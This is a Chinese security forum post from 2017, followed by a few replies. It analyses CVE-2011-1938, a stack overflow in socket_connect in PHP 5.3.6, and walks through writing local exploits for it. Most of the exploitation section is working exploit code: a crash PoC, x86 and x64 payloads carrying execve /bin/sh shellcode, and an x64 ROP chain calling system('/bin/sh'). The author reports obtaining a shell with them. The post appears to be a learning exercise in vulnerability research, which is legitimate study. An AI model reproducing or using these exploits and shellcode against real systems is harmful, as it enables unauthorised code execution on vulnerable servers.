首页
论坛
课程
招聘
[原创]CVE-2011-1938漏洞浅析以及exp编写
2017-10-17 15:24 5290

[原创]CVE-2011-1938漏洞浅析以及exp编写

2017-10-17 15:24
5290

0x01 前言

首先这是我第一次尝试在linux写实际的漏洞利用的exp,水平有限欢迎指出。本次要讲的是php的一个栈溢出漏洞,远程的exp说实在的,现在是不知道咋写,所以只能写个本地的,说不定以后就有思路了。还有php本身有种简要的exp写法,不过我没怎么研究,大致看了下,感兴趣的同学可以学习下,最后欢迎大家一起与我多交流。

0x02 漏洞分析

本次漏洞很简单,我就直接拿别人分析过的贴上来了。

 

Vulnerable code

 

In ext/sockets/sockets.c:

 

 

```

PHP_FUNCTION(socket_connect)

{

  zval                    *arg1;

  php_socket              *php_sock;

  struct sockaddr_in      sin;

  #if HAVE_IPV6

  struct sockaddr_in6     sin6;

  #endif

  struct sockaddr_un      s_un; /* stack var */

  char                    *addr;

  int                     retval, addr_len;

  long                    port = 0;

  int                     argc = ZEND_NUM_ARGS();

  [...]

 

    case AF_UNIX:

       memset(&s_un, 0, sizeof(struct sockaddr_un));

       s_un.sun_family = AF_UNIX;

       memcpy(&s_un.sun_path, addr, addr_len); /*没有限制参数导致拷贝的时候出现栈溢出漏洞 */

       retval = connect(php_sock->bsd_socket, (struct sockaddr *) &s_un,

                (socklen_t) XtOffsetOf(struct sockaddr_un, sun_path) + addr_len);

       break;

  [...]

}

总结下漏洞原理socket_connect这个函数的第二个参数的长度没有做限制,后来传入memcpy后拷贝超出sun_path的大小造成栈溢出漏洞。

0x03 漏洞利用

 

要注意的是由于拷贝的时候会覆盖到下面函数的指针,所以在写exp的时候可以将原来的地址填充进去。

可以运行poc来观察一下,我分别在X86X64进行了实验。

poc.php 

<?php

    $pad = str_repeat("A", 500);

    $fd   = socket_create(AF_UNIX, SOCK_STREAM, 1);

    $ret  = socket_connect($fd, $pad);

?>

GDB调试php,运行poc。观察到rax是个指针,读到了0x41414141无效地址,把这个地址改为正常地址,后面还有一处也还会覆盖,根据调试情况也进行更改。

之后编写可以覆盖到ret的半成品exp,代码如下:

<?php

    $padd = str_repeat("A", 156)."\x20\x9d\x72\x08";

    $pad2=str_repeat("B",12)."\x18\xcc\xff\xbf";

    $pad3=str_repeat("C",4)."DDDD";

    $fd   = socket_create(AF_UNIX, SOCK_STREAM, 1);

    $ret  = socket_connect($fd, $padd.$pad2.$pad3);

?>


可以观察到eip指针被覆盖为DDDD,最后根据调试,将exp编写完整。

<?php

    $shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";

    $padd = str_repeat("A", 131)."\x20\xba\x74\x08";

    $pad1=$shellcode.$padd;

    $pad2=str_repeat("B",12)."\x18\xcc\xff\xbf";

    $pad3=str_repeat("C",4)."\x08\xcb\xff\xbf";

    $fd   = socket_create(AF_UNIX, SOCK_STREAM, 1);

 

    $ret  = socket_connect($fd, $pad1.$pad2.$pad3);

?>

需要注意的是我在X86编译的时候没有开任何保护机制,gdb调试的时候shellcode在栈中的地址和实际环境中的是不一样的,所以需要开启code dump来得到实际shelllcode在栈中的地址,这个只是最常规的,最后运行exp得到shell

二、X64

X64下,我分别写了没有保护机制和绕过NXexploit,在X64一开始给我造成了很大的麻烦,因为我把X86shellcode搬到了X64中,所以无论怎样都行不通。幸好调试的时候发现了这一点,因为参数传递发生了改变,所以shellcode也无法用了,最后写成的exp.php:

<?php

echo "[+] PHP 5.3.6 Buffer Overflow PoC (ROP)\n";

echo "[+] CVE-2011-1938\n\n";

$shellcode="\x48\x31\xc0\x48\x83\xc0\x3b\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x8d\x3c\x24\x48\x31\xf6\x48\x31\xd2\x0f\x05";

$pad = $shellcode.str_repeat("A", 140);

$payload=$pad."\x00\x54\xf5\x00\x00\x00\x00\x00"."BBBBBBBBBBBBBBBBBBBBBBBB"."\x50\xb6\xff\xff\xff\x7f\x00\x00"."\x22\xb5\xff\xff\xff\x7f";   

 $fd = socket_create(AF_UNIX, SOCK_STREAM, 1);    

 $ret  = socket_connect($fd, $payload);

?>


写成的rop.php:

<?php 

$system_addr="\x90\xc5\xfc\xf6\xff\x7f\x00\x00";

$binsh_addr="\x03\x65\x10\xf7\xff\x7f\x00\x00";

$popret="\x45\xbe\x74\x00\x00\x00\x00\x00";

$padd = str_repeat("A", 174)."\xb0\x48\xf5\x00\x00\x00\x00\x00"."BBBBBBBBBBBBBBBB"."\xf0\x91\xec\xf7\xff\x7f\x00\x00"."DDDDDDDD".$popret.$binsh_addr.$system_addr;

$fd   = socket_create(AF_UNIX, SOCK_STREAM, 1);

$ret  = socket_connect($fd, $padd);

?>

运行后得到shell

其中的system地址和binsh地址都可以调试找到,popret这个地址可以通过rop工具搜索一下。



0x04 小结

 

本来想用mmap或者mprotect绕过NX,由于不熟练的原因,如果写下去会花费很长时间。其实上面所有的exp其实都只能算是个半成品,没有绕过所有的防护机制,后续会慢慢写下去,越来越熟练的。然后吐槽一下,跟别人相比我总觉得我的exp

写的很烂。


参考资料 http://shell-storm.org/blog/PHP-5.3.6-Buffer-Overflow-PoC-ROP/



恭喜ID[飞翔的猫咪]获看雪安卓应用安全能力认证高级安全工程师!!

收藏
点赞0
打赏
分享
最新回复 (3)
雪    币: 1737
活跃值: 活跃值 (102)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
hackyzh 活跃值 3 2017-10-17 15:25
2
0
卧槽,怎么变成html的了
雪    币: 4210
活跃值: 活跃值 (1230)
能力值: (RANK:270 )
在线值:
发帖
回帖
粉丝
BDomne 活跃值 5 2017-10-17 16:24
3
0
感谢分享!

最好能把漏洞原理描述下,特别是这种有cve号的,这样行文完整些。

保护措施的绕过在漏洞利用中还是很重要的。
雪    币: 1737
活跃值: 活跃值 (102)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
hackyzh 活跃值 3 2017-10-17 16:29
4
0
BDomne 感谢分享!最好能把漏洞原理描述下,特别是这种有cve号的,这样行文完整些。保护措施的绕过在漏洞利用中还是很重要的。
好吧大致概括一下,原理比较简单,一眼就能看出来。
游客
登录 | 注册 方可回帖
返回